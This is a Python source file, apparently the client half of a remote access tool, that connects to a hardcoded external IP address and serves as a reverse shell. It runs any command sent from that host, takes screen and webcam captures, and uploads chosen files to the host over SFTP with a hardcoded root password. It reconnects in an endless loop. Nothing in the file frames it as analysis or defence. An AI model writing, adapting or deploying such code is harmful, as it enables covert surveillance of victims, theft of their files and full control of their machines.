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client.py
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client.py
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import os
import socket
import subprocess
import time
import signal
import sys
import struct
import paramiko
import pyscreenshot as ImageGrab
import pygame
class Client(object):
def __init__(self):
# self.serverHost = ''
self.serverHost = '139.59.47.161'
self.serverPort = 9999
self.socket = None
def register_signal_handler(self):
signal.signal(signal.SIGINT, self.quit_gracefully)
signal.signal(signal.SIGTERM, self.quit_gracefully)
return
def quit_gracefully(self, signal=None, frame=None):
print('\nQuitting gracefully')
if self.socket:
try:
self.socket.shutdown(2)
self.socket.close()
except Exception as e:
print('Could not close connection %s' % str(e))
# continue
sys.exit(0)
return
def socket_create(self):
""" Create a socket """
try:
self.socket = socket.socket()
except socket.error as e:
print("Socket creation error" + str(e))
return
return
def socket_connect(self):
""" Connect to a remote socket """
try:
self.socket.connect((self.serverHost, self.serverPort))
except socket.error as e:
print("Socket connection error: " + str(e))
time.sleep(5)
raise
try:
self.socket.send(str.encode(socket.gethostname()))
except socket.error as e:
print("Cannot send hostname to server: " + str(e))
raise
return
def print_output(self, output_str):
""" Prints command output """
sent_message = str.encode(output_str + str(os.getcwd()) + '> ')
self.socket.send(struct.pack('>I', len(sent_message)) + sent_message)
print(output_str)
return
def screenshot(self,name):
im = ImageGrab.grab()
im.save(os.getcwd()+'/'+name+'.png')
return
def webshot(self,name):
import pygame.camera
pygame.camera.init()
print(pygame.camera.list_cameras()[0])
cam = pygame.camera.Camera(pygame.camera.list_cameras()[0])
cam.start()
img = cam.get_image()
import pygame.image
pygame.image.save(img, str(name)+'.bmp')
pygame.camera.quit()
return
def sftp(self,local_path, name):
try:
transport = paramiko.Transport(('139.59.47.161',22))
transport.connect(username='root',password='adminpass')
sftp =paramiko.SFTPClient.from_transport(transport)
sftp.put(local_path, '/root/'+name)
sftp.close()
return "Done"
except Exception as e:
return str(e)
def receive_commands(self):
""" Receive commands from remote server and run on local machine """
try:
self.socket.recv(100)
except Exception as e:
print('Could not start communication with server: %s\n' %str(e))
return
cwd = str.encode(str(os.getcwd()) + '> ')
self.socket.send(struct.pack('>I', len(cwd)) + cwd)
while True:
output_str = None
data = self.socket.recv(20480)
if data == b'':
break
elif data[:2].decode("utf-8") == 'cd':
directory = data[3:].decode("utf-8")
try:
os.chdir(directory.strip())
except Exception as e:
output_str = "Could not change directory: %s\n" %str(e)
else:
output_str = ""
elif data[:].decode("utf-8") == 'quit':
self.socket.close()
break
elif data[:4].decode("utf-8") == 'grab':
command = data[:].decode("utf-8")
grab,name,path = command.split('*')
self.sftp(path,name)
output_str = "Done\n"
elif data[:10].decode("utf-8") == 'screenshot':
command = data[:].decode("utf-8")
var,name = command.split('*')
self.screenshot(name)
output_str = "done\n"
elif data[:7].decode("utf-8") == 'webshot':
command = data[:].decode("utf-8")
var, name = command.split('*')
self.webshot(name)
output_str = "done\n"
elif len(data) > 0:
try:
cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE,
stderr=subprocess.PIPE, stdin=subprocess.PIPE)
output_bytes = cmd.stdout.read() + cmd.stderr.read()
output_str = output_bytes.decode("utf-8", errors="replace")
print(output_str)
except Exception as e:
# TODO: Error description is lost
output_str = "Command execution unsuccessful: %s\n" %str(e)
if output_str is not None:
try:
self.print_output(output_str)
except Exception as e:
print('Cannot send command output: %s' %str(e))
self.socket.close()
return
def main():
client = Client()
client.register_signal_handler()
client.socket_create()
while True:
try:
client.socket_connect()
except Exception as e:
print("Error on socket connections: %s" %str(e))
time.sleep(5)
else:
break
try:
client.receive_commands()
except Exception as e:
print('Error in main: ' + str(e))
client.socket.close()
return
if __name__ == '__main__':
while True:
main()